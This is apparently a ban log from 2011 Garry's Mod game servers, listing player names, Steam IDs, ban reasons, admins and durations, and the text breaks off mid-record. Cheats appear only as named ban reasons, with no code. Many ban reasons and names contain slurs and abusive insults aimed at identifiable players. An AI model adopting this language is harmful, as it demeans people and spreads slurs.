STEAM_0:0:36792736 RDM +[SP]+ CCD +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:2:0 Unbanned +4:49 am 19-08-11 rock_war123 STEAM_0:1:40379940 You sound like a bit +of a twat, the reports say +[SP]+ Gigaknite Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 6:22:40 Unbanned +4:48 am 19-08-11 fluffybunnyrabbit STEAM_0:1:39842495 I WILL FUCK +YOUR SHIT UP, YOU LITTLE FUCK! +[SP]+ Gigaknite Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 6:22:40 Unbanned +12:14 am 19-08-11 Igortheone STEAM_0:1:19945696 insulting people +Wigbig Official Zombified World|Fixin Stuff Zombified World 0:10:0 +Unbanned +11:51 pm 18-08-11 Generalmorg STEAM_0:1:12578823 RDM +[SP]+ MAD +MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:22:40 +Unbanned +11:35 pm 18-08-11 HardcoreDonuts STEAM_0:0:35960738 reported to be a +pain in the ass +[SP]+ MAD MANN Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:22:40 Unbanned +11:33 pm 18-08-11 Spero78 STEAM_0:1:33168641 your karma stinks ++[SP]+ MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town +4:20:40 Unbanned +8:09 pm 18-08-11 Unknown STEAM_0:1:7308244 Your karma stinks +[SP]+ +MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:18:40 Unbanned +3:17 pm 18-08-11 Foxtrot STEAM_0:1:33355913 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand FortwarsX Permanent Banned +11:22 pm 17-08-11 Unknown STEAM_0:1:13709339 Cheat: LHM (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +11:21 pm 17-08-11 Unknown STEAM_0:1:25783134 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:20 pm 17-08-11 Unknown STEAM_0:1:3992689 Cheat: LHM (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +11:18 pm 17-08-11 Unknown STEAM_0:0:29437358 Cheat: LHM (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +11:17 pm 17-08-11 Unknown STEAM_0:1:14239923 Cheat: Inkbot +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:17 pm 17-08-11 Unknown STEAM_0:1:37543716 Cheat: Inkbot +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:15 pm 17-08-11 Unknown STEAM_0:1:42084743 Cheat: Gooberhack +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:14 pm 17-08-11 Unknown STEAM_0:0:26637072 Cheat: Herpaflerp +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:13 pm 17-08-11 Unknown STEAM_0:0:19735449 Cheat: Litebotgarry +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:12 pm 17-08-11 Unknown STEAM_0:0:19561634 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:10 pm 17-08-11 Unknown STEAM_0:1:3176600 Cheat: Mydik (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +11:10 pm 17-08-11 Unknown STEAM_0:0:25295126 Cheat: Mydik +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:09 pm 17-08-11 Unknown STEAM_0:0:34092283 Cheat: Gooberhack +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:08 pm 17-08-11 Unknown STEAM_0:1:13014240 Cheat: Mydik +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:08 pm 17-08-11 Unknown STEAM_0:0:2255757 Cheat: Mydik (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +11:07 pm 17-08-11 Unknown STEAM_0:1:6018850 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:07 pm 17-08-11 Unknown STEAM_0:0:29248785 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:06 pm 17-08-11 Unknown STEAM_0:0:33017392 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +9:23 pm 17-08-11 Unknown STEAM_0:1:21070475 RDM, bad excuse +alternatively leaving without explaining. Voted Mags a cunt +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +9:11 pm 17-08-11 Voted Mags a cunt STEAM_0:0:10087476 test Voted +Mags a cunt Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:0:1 Unbanned +9:07 pm 17-08-11 +[SP]+ ULTRA STEAM_0:0:10087476 test +[SP]+ ULTRA +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:1 Unbanned +6:49 pm 17-08-11 Voted Mag's a cunt STEAM_0:0:10087476 test +[SP]+ +CCD Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:1 Unbanned +6:42 pm 17-08-11 /)SW * Ð?опник Ð?аÑ?Ñ? STEAM_0:0:33973217 RDM, +Ultra +[SP]+ CCD Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 2:0:0 Unbanned +2:20 am 17-08-11 ..{DG}..GeneralWilkins..{GD}.. STEAM_0:1:2595722 +destroying faction props as loner Wigbig Official Zombified +World|Fixin Stuff Zombified World 0:0:10 Unbanned +2:08 am 17-08-11 warmdahl STEAM_0:1:27205037 RDM +[SP]+ Suicidal +Robot Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:3:0 +Unbanned +1:56 am 17-08-11 Overwatch Elite STEAM_0:0:27058039 being an ass +Wigbig Official Zombified World|Fixin Stuff Zombified World 0:0:10 +Unbanned +11:49 pm 16-08-11 Sam (Dr. Cocktopus) STEAM_0:0:24255629 trolling +with links +[SP]+ Suicidal Robot Fretta|Tigergruppe Kommand Trouble +in Terrorist Town 0:2:0 Unbanned +10:58 pm 16-08-11 â?¢--CroWellE-â?¢ STEAM_0:1:28458088 Melon killing +on several occasions : v +[SP]+ Nekoace Official Zombified World|Fixin +Stuff Zombified World 6:22:40 Unbanned +10:49 pm 16-08-11 XToasterX STEAM_0:1:39841913 Destroying props ++[SP]+ Nekoace Official Zombified World|Fixin Stuff Zombified World +1:9:20 Unbanned +12:26 pm 16-08-11 Unknown STEAM_0:0:28878438 Begging for games and +stuff despite knowing im a poor student (Console) Fretta|Tigergruppe +Kommand Sniper Wars Permanent Banned +11:19 am 16-08-11 Unknown STEAM_0:1:17510845 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Zombie Onslaught Permanent Banned +10:44 pm 15-08-11 ¾ of a Burger STEAM_0:0:19598123 general FAggot ++[SP]+ Nekoace Killa's Zombie Survival Server Zombie Survival +6:22:40 Unbanned +10:08 pm 15-08-11 Fizzdar STEAM_0:0:19944614 faggit Crusty +Irishman Official Zombified World|Fixin Stuff Zombified World +Permanent Banned +7:20 pm 15-08-11 Unknown STEAM_0:0:15141245 Cheat: Aspergers +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +7:19 pm 15-08-11 Unknown STEAM_0:1:10569351 Cheat: Eradicate +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +3:26 pm 15-08-11 Medic STEAM_0:1:30857614 trader isndie base +Wigbig Official Zombified World|Fixin Stuff Zombified World 0:0:30 +Unbanned +1:07 am 15-08-11 â?¤ à¹?Û£Û?pµnshîîcooL^^â?¤ STEAM_0:0:38328038 +prop kill Wigbig Official Zombified World|Fixin Stuff Zombified +World 0:0:30 Unbanned +12:42 am 15-08-11 [SST] Trevanion STEAM_0:1:34928714 You sound like a +cocksuck +[SP]+ Hellknite Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +12:41 am 15-08-11 [SST] Grayson STEAM_0:1:33722997 I forget +[SP]+ +Hellknite Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:11 pm 14-08-11 Unknown STEAM_0:1:11196074 RDM and the left +[SP]+ +MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:10 pm 14-08-11 Unknown STEAM_0:0:8948262 RDM and the left +[SP]+ +MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +7:12 pm 14-08-11 +[SP]+ xXxbadboyxXx STEAM_0:1:40367791 fake tags ++[SP]+ Nekoace Official Zombified World|Fixin Stuff Zombified World +1:9:20 Unbanned +6:08 pm 14-08-11 >^4[TOotH]Mirandous[M] STEAM_0:0:17058321 faction +exploiting +[SP]+ Nekoace Official Zombified World|Fixin Stuff +Zombified World 1:9:20 Unbanned +5:31 pm 14-08-11 Unknown STEAM_0:1:37475407 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +5:02 pm 14-08-11 Unknown STEAM_0:1:32460835 bun +[SP]+ MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +4:22 pm 14-08-11 Pelf STEAM_0:1:10994497 prop killing Wigbig +Official Zombified World|Fixin Stuff Zombified World 0:1:0 Unbanned +2:58 pm 14-08-11 Clank STEAM_0:1:5492145 penispenispenispenis +[SP]+ +MAD MANN Official Zombified World|Fixin Stuff Zombified World 0:0:1 +Unbanned +1:36 pm 14-08-11 abbe STEAM_0:0:35457795 RDM +[SP]+ MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +12:25 am 14-08-11 DarklightPyro STEAM_0:1:4194785 Low Karma +[SP]+ +Suicidal Robot Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:3:0 Unbanned +8:18 pm 13-08-11 G3 ohrlynao STEAM_0:1:37464404 annoying troll ++[SP]+ Nekoace Official Zombified World|Fixin Stuff Zombified World +3:11:20 Unbanned +7:59 pm 13-08-11 MR.toast STEAM_0:1:29884665 Faction exploiting ++[SP]+ Nekoace Official Zombified World|Fixin Stuff Zombified World +1:9:20 Unbanned +6:33 pm 13-08-11 INSANECAT STEAM_0:0:11431595 RDM, Attempt to +Mass-RDM with Grenade. +[SP]+ Bloodcore Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 41:16:0 Unbanned +10:07 am 13-08-11 Unknown STEAM_0:0:24379062 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:37 am 13-08-11 Unknown STEAM_0:1:42769259 massive RDMing +[SP]+ +Searaphim Fretta|Tigergruppe Kommand Deathrun Permanent Banned +10:33 pm 12-08-11 Kris STEAM_0:0:28878438 Low karma +[SP]+ Suicidal +Robot Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:2:0 +Unbanned +10:11 pm 12-08-11 TheKakemonster STEAM_0:1:35111385 RDM +[SP]+ +Suicidal Robot Fretta|Tigergruppe Kommand Trouble in Terrorist Town +7:0:0 Unbanned +9:03 pm 12-08-11 alx1379 STEAM_0:1:39931371 Wigbig Killa's Zombie +Survival Server Zombie Survival 695:0:0 Banned +2:47 pm 12-08-11 umpalumpa that fell STEAM_0:1:30453654 Mic spam +Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 +Unbanned +2:46 pm 12-08-11 J D STEAM_0:1:17335445 Idiot (Extended for whining +on teamspeak. Flapadar Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 695:10:40 Banned +12:07 pm 12-08-11 Unknown STEAM_0:0:26024904 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +2:12 am 12-08-11 Unknown STEAM_0:0:16759432 Kthxbye... and dont come +back +[SP]+ MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist +Town Permanent Banned +2:07 am 12-08-11 Unknown STEAM_0:1:15263858 Reported, also banned +from other servers +[SP]+ MAD MANN Fretta|Tigergruppe Kommand Trouble +in Terrorist Town Permanent Banned +2:55 am 11-08-11 TheAlmightyWatermelonCat STEAM_0:1:8284920 opps ++[SP]+ MAD MANN Official Zombified World|Fixin Stuff Zombified World +6:22:40 Unbanned +10:31 pm 10-08-11 NeW MoDDeR iN ToWN STEAM_0:0:40030069 Rdm +[SP]+ +Hellknite Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:1:0 Unbanned +10:14 pm 10-08-11 Unknown STEAM_0:0:35367941 Ghosting/dumb +(Console) Fretta|Tigergruppe Kommand Deathrun 2:18:40 Unbanned +8:27 pm 10-08-11 =[CR]=green STEAM_0:0:39083268 Alt of banned ID +STEAM_0:0:39083268 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 6:23:42 Unbanned +8:10 pm 10-08-11 =[CR]=green STEAM_0:0:39083268 faction exploiting ++[SP]+ Suicidal Robot Official Zombified World|Fixin Stuff Zombified +World 7:0:0 Unbanned +6:53 pm 10-08-11 Unknown STEAM_0:0:35626266 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +6:53 pm 10-08-11 Unknown STEAM_0:1:25636734 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:25 pm 09-08-11 BistroEngine STEAM_0:0:10625714 Wants banned +Flapadar Fretta|Tigergruppe Kommand Suicide Barrels Permanent Banned +5:53 pm 09-08-11 Dorkslayz STEAM_0:0:24388264 Alt of banned ID +STEAM_0:0:24388264 (Console) Official Zombified World|Fixin Stuff +Zombified World Permanent Banned +5:22 pm 09-08-11 Dorkslayz STEAM_0:0:24388264 Alt of banned ID +STEAM_0:0:24388264 (Console) Killa's Zombie Survival Server Zombie +Survival Permanent Banned +4:36 pm 09-08-11 OdxWolf STEAM_0:1:25149366 Mass Rdm +[SP]+ +Spellknite Fretta|Tigergruppe Kommand Trouble in Terrorist Town +6:22:40 Unbanned +4:31 pm 09-08-11 Jmazouri STEAM_0:1:7036767 Fuck off +[SP]+ +Spellknite Fretta|Tigergruppe Kommand Trouble in Terrorist Town +3:11:20 Unbanned +11:38 am 09-08-11 Unknown STEAM_0:0:33177474 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Surf Permanent Banned +4:09 am 09-08-11 Unknown STEAM_0:1:18639351 RDM +[SP]+ Searaphim +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 7:0:0 Unbanned +4:07 am 09-08-11 Unknown STEAM_0:1:18639351 RDM +[SP]+ Searaphim +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:20:0 Unbanned +4:01 am 09-08-11 Your Name Here STEAM_0:0:18742858 Massive RDMing +"your name here" is dead. Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +10:47 pm 08-08-11 muggi5 STEAM_0:0:31257948 Prop surfing, even after +warnings. +[SP]+ Nekoace Official Zombified World|Fixin Stuff +Zombified World 0:16:40 Unbanned +10:15 pm 08-08-11 Unknown STEAM_0:0:19255097 rdm [ +[SP]+ Suicidal +Robot Fretta|Tigergruppe Kommand Deathrun 2:0:0 Unbanned +10:00 pm 08-08-11 Wunder Shnitzel STEAM_0:0:21528575 Constant abuse ++[SP]+ Nekoace Official Zombified World|Fixin Stuff Zombified World +179:16:10 Unbanned +12:51 pm 08-08-11 Unknown STEAM_0:0:24388264 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +10:50 am 08-08-11 Unknown STEAM_0:0:39817531 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +2:01 am 08-08-11 Illuminescence STEAM_0:0:36420722 Alt of banned ID +STEAM_0:1:21977353 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +1:06 am 08-08-11 DragonSaul STEAM_0:1:12466534 Rdm then disconnect ++[SP]+ Spellknite Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 6:22:40 Unbanned +10:56 pm 07-08-11 DarkStar STEAM_0:1:26800531 Nice shot, fuckass! ++[SP]+ Spellknite Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 3:11:20 Unbanned +4:58 pm 07-08-11 Unknown STEAM_0:1:18969654 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +4:54 pm 07-08-11 Asian Inflamation STEAM_0:0:27250165 Idiot +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +4:53 pm 07-08-11 [Ojjjjah] peteisfat STEAM_0:0:26936580 Idiot +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +4:53 pm 07-08-11 Unknown STEAM_0:1:6016470 Idiot (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +4:52 pm 07-08-11 [Ojjjjah] Hemiriffic Jones STEAM_0:1:6016470 Idiot +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +2:00 am 07-08-11 Unknown STEAM_0:0:38403849 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +1:00 am 07-08-11 Faith In a .45 STEAM_0:0:34037139 no you Wigbig +Fretta|Tigergruppe Kommand Deathrun 6:22:39 Unbanned +10:22 pm 06-08-11 absoluteNOISE STEAM_0:1:23134354 Complete retard ++[SP]+ Nekoace Official Zombified World|Fixin Stuff Zombified World +Permanent Banned +9:31 pm 06-08-11 Unknown STEAM_0:1:31758803 i hate the fucking admins +here mindless fucktards Flapadar Fretta|Tigergruppe Kommand Trouble +in Terrorist Town Permanent Banned +9:16 pm 06-08-11 Unknown STEAM_0:1:474018 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +6:30 pm 06-08-11 Unknown STEAM_0:1:25484778 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +6:30 pm 06-08-11 Unknown STEAM_0:0:31109435 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +5:27 pm 06-08-11 Kirvin STEAM_0:1:33803502 Alt of banned ID +STEAM_0:1:33803502 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 6:21:27 Unbanned +4:15 pm 06-08-11 Kirvin STEAM_0:1:33803502 Several broken rules ++[SP]+ Nekoace Official Zombified World|Fixin Stuff Zombified World +6:22:40 Unbanned +4:14 pm 06-08-11 Egg STEAM_0:1:25657133 Several broken rules. +[SP]+ +Nekoace Official Zombified World|Fixin Stuff Zombified World +6:22:40 Unbanned +12:59 am 06-08-11 mandark STEAM_0:0:404578 Been banned before, still +being shithead' +[SP]+ Spellknite Fretta|Tigergruppe Kommand Trouble +in Terrorist Town Permanent Banned +10:01 pm 05-08-11 Chill Bros TTT: No Madmins STEAM_0:1:9920942 +Trolling/advertising +[SP]+ Nekoace Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 3:11:20 Unbanned +9:36 pm 05-08-11 Captain Winkleberry STEAM_0:1:16807797 Provoking an +admin and trolling +[SP]+ Nekoace Killa's Zombie Survival Server +Zombie Survival 1:9:20 Unbanned +9:18 pm 05-08-11 Unknown STEAM_0:1:25560081 Cheat: Code injection +(Console) Killa's Zombie Survival Server Zombie Survival Permanent +Banned +8:59 pm 05-08-11 +[SP]+Demon.Koneko STEAM_0:1:22051802 fags tags/ +ignoring warnings +[SP]+ Nekoace Killa's Zombie Survival Server +Zombie Survival 3:11:20 Unbanned +8:48 pm 05-08-11 +[SP]+green mod! STEAM_0:0:38614876 Ignoring me/Fake +tags +[SP]+ Nekoace Killa's Zombie Survival Server Zombie Survival +3:11:20 Unbanned +6:31 pm 05-08-11 Wunder Shnitzel STEAM_0:0:21528575 Being +disrespectful and racist to an SP member +[SP]+ Nekoace Official +Zombified World|Fixin Stuff Zombified World 1:9:20 Unbanned +10:12 am 05-08-11 The Dude - Need lua help! STEAM_0:0:16759432 RDM + +Possible troll Skyrim Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 2:18:40 Unbanned +10:11 am 05-08-11 Dr. Shockalu STEAM_0:0:17227164 Troll Skyrim +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +10:11 am 05-08-11 Poolbutt McGyverson the Awesome STEAM_0:1:5273884 +Troll Skyrim Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +10:11 am 05-08-11 poobutts beware STEAM_0:0:3293266 Troll Skyrim +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +10:02 am 05-08-11 Unknown STEAM_0:0:42440544 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:47 am 05-08-11 Unknown STEAM_0:0:26707259 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Zombie Onslaught Permanent Banned +11:57 pm 04-08-11 Unknown STEAM_0:0:33752125 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +10:59 pm 04-08-11 +[SP]+ Phil STEAM_0:0:26538751 didnt respond when +asked to Wigbig Fretta|Tigergruppe Kommand Deathrun 0:0:5 Unbanned +10:54 pm 04-08-11 Elysia STEAM_0:0:16962740 asked me to Wigbig +Fretta|Tigergruppe Kommand Deathrun 0:0:1 Unbanned +9:30 pm 04-08-11 Unknown STEAM_0:1:37436782 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +6:21 pm 04-08-11 +[SP]+ Ã?ĤâţÄ?ḼâÄ? STEAM_0:1:29265352 Alt of +banned ID STEAM_0:1:40464733 (Console) Fretta|Tigergruppe Kommand +Snifer 0:0:0 Unbanned +6:08 pm 04-08-11 [CSN]EmoObama STEAM_0:1:17747265 Teamkilling +[SP]+ +Bloodcore Fretta|Tigergruppe Kommand Snifer 0:5:0 Unbanned +4:27 pm 04-08-11 Herry the secret of mana STEAM_0:1:13870574 Deleting +base during war and claiming i abused my admin. +[SP]+ Nekoace +Official Zombified World|Fixin Stuff Zombified World 3:11:20 Unbanned +3:23 pm 04-08-11 (1)Aperture Science STEAM_0:1:40464733 Impersonating +other users with name exploit (Console) Fretta|Tigergruppe Kommand +Deathrun 4:15:6 Unbanned +3:22 pm 04-08-11 console STEAM_0:1:3429074 Retard trying to pretend +to be console (Console) Fretta|Tigergruppe Kommand Deathrun +6:22:40 Unbanned +3:21 pm 04-08-11 (1)Disturbed STEAM_0:0:11859704 Impersonating other +users with name exploit (This is actually the real one) (Console) +Fretta|Tigergruppe Kommand Deathrun 0:0:0 Unbanned +3:20 pm 04-08-11 (0)Disturbed STEAM_0:1:13438690 Impersonating other +users with name exploit - apologised (Console) Fretta|Tigergruppe +Kommand Deathrun 0:0:0 Unbanned +3:19 pm 04-08-11 [WS] Waffles101 STEAM_0:1:30713439 Retard trying to +pretend to be console - Unbanned - apologised ( +http://stonedpotatoes.com/viewtopic.php?f=19&p=27350#p27350 ) +(Console) Fretta|Tigergruppe Kommand Deathrun 0:0:0 Unbanned +3:17 pm 04-08-11 STEAM_0:1:30827851 Name exploit (Console) +Fretta|Tigergruppe Kommand Deathrun 6:22:40 Unbanned +3:16 pm 04-08-11 +[SP]+ St. Hetfield STEAM_0:0:19007113 Name exploit +(Unbanned - HLSW copied wrong ID) (Console) Fretta|Tigergruppe +Kommand Deathrun 0:0:0 Unbanned +1:56 pm 04-08-11 Forsaken Kitteh STEAM_0:0:21704689 rdm with +grenades Moaby Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:1:40 Unbanned +10:55 am 04-08-11 Unknown STEAM_0:1:31947311 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +10:54 am 04-08-11 Unknown STEAM_0:1:23946737 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +10:47 pm 03-08-11 +[SP]+ TheManNamedGuy STEAM_0:0:22217376 IGNORING +ME, HUH? +[SP]+ Hellknite Fretta|Tigergruppe Kommand Deathrun +1:0:0 Unbanned +10:39 pm 03-08-11 Unknown STEAM_0:0:40352700 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +10:34 pm 03-08-11 Unknown STEAM_0:1:10586343 Faction exploiting ++[SP]+ Nekoace Official Zombified World|Fixin Stuff Zombified World +1:9:20 Unbanned +10:33 pm 03-08-11 Unknown STEAM_0:1:5716011 Faction exploiting ++[SP]+ Nekoace Official Zombified World|Fixin Stuff Zombified World +1:9:20 Unbanned +10:32 pm 03-08-11 Unknown STEAM_0:1:28064336 Faction exploiting ++[SP]+ Nekoace Official Zombified World|Fixin Stuff Zombified World +1:9:20 Unbanned +10:18 pm 03-08-11 Mr. Fister 69 STEAM_0:0:19255097 +[SP]+ +Bloodcore Fretta|Tigergruppe Kommand Deathrun 0:10:0 Unbanned +10:17 pm 03-08-11 absoluteNOISE STEAM_0:1:23134354 Faction +exploiting +[SP]+ Nekoace Official Zombified World|Fixin Stuff +Zombified World 2:2:0 Unbanned +7:22 pm 03-08-11 Nilbogg the gore-goblin STEAM_0:1:36485837 Traitor +RDM and a massive dild Flapadar Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +7:17 pm 03-08-11 Mr.Moonkin STEAM_0:0:27959854 RDM and knew it +Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 +Unbanned +12:45 pm 03-08-11 Declivity STEAM_0:0:32212205 rdm Wigbig +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:8:20 Unbanned +12:44 pm 03-08-11 Flx[aut] STEAM_0:0:30971803 rdm Wigbig +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:8:20 Unbanned +12:37 am 03-08-11 ã??»'HcD»'вÏ?Ñ?ηã?? STEAM_0:0:35367941 Fuck +yourself, RDMing dipshit +[SP]+ Hellknite Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 6:22:40 Unbanned +11:53 pm 02-08-11 Batman STEAM_0:0:804730 Hey, I'm Batman (RDM) ++[SP]+ Hellknite Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 1:0:0 Unbanned +7:54 pm 02-08-11 Unknown STEAM_0:0:20038304 Trolling SP members ++[SP]+ Nekoace Killa's Zombie Survival Server Zombie Survival +6:22:40 Unbanned +7:02 pm 02-08-11 +[SP]+Danzomanzo STEAM_0:1:17606381 Alt of banned ID +STEAM_0:1:16391734 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:0:0 Unbanned +6:02 pm 02-08-11 «ASC» Gearyâ?¢ STEAM_0:1:16391734 Ban - Unbanned +by Flap - horse shit reason for ban Cutie Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 0:0:0 Unbanned +5:02 pm 02-08-11 G_Hecker STEAM_0:1:29392297 +[SP]+ Nekoace Killa's +Zombie Survival Server Zombie Survival Permanent Banned +10:41 am 02-08-11 Unknown STEAM_0:1:24346494 Cheat: Code injection +(Console) Official Zombified World|Fixin Stuff Zombified World +Permanent Banned +4:33 pm 01-08-11 Unknown STEAM_0:0:41087968 Cheat: Code injection +(Console) Official Zombified World|Fixin Stuff Zombified World +Permanent Banned +2:00 pm 01-08-11 SAUSAGE Ò? STEAM_0:1:28388766 Mass RDM +[SP]+ +Hellknite Fretta|Tigergruppe Kommand Trouble in Terrorist Town +6:22:40 Unbanned +11:31 am 01-08-11 Nubcake [R.G] STEAM_0:0:25713141 Alt of banned ID +STEAM_0:0:24963345 (Console) Killa's Zombie Survival Server Zombie +Survival Permanent Banned +12:58 am 01-08-11 Contrajoe STEAM_0:1:14960496 Traitor TK +[SP]+ +No Fretta|Tigergruppe Kommand Trouble in Terrorist Town 7:0:0 Unbanned +12:32 am 01-08-11 Unknown STEAM_0:0:23397918 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 01-08-11 Kliuyyyy STEAM_0:0:29757421 LOL BAN Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +6:12 pm 31-07-11 Unknown STEAM_0:0:21350010 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:46 am 31-07-11 Lammas Uuno STEAM_0:0:36537111 Alt of banned ID +STEAM_0:1:12115323 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +2:50 am 31-07-11 happy days STEAM_0:0:7291342 Mic spam ¤<[Foxes]> +CCD Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:6:40 +Unbanned +2:47 am 31-07-11 BARNEY!!!! STEAM_0:0:20578969 Mic Spam +¤<[Foxes]> CCD Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:7:30 Unbanned +5:51 am 30-07-11 Unknown STEAM_0:0:16551150 RDM, mic spam, etc ++[SP]+ Suicidal Shampoo Bottle Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 7:0:0 Unbanned +5:43 am 30-07-11 dogthebountyhunter STEAM_0:1:32803221 RDMing +bastard +[SP]+ Suicidal Shampoo Bottle Fretta|Tigergruppe Kommand +Trouble in Terrorist Town Permanent Banned +8:24 pm 29-07-11 Forsaken Kitteh STEAM_0:0:21704689 Prop pushing +RDM Cutie Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +8:06 pm 29-07-11 t.i.mmalo 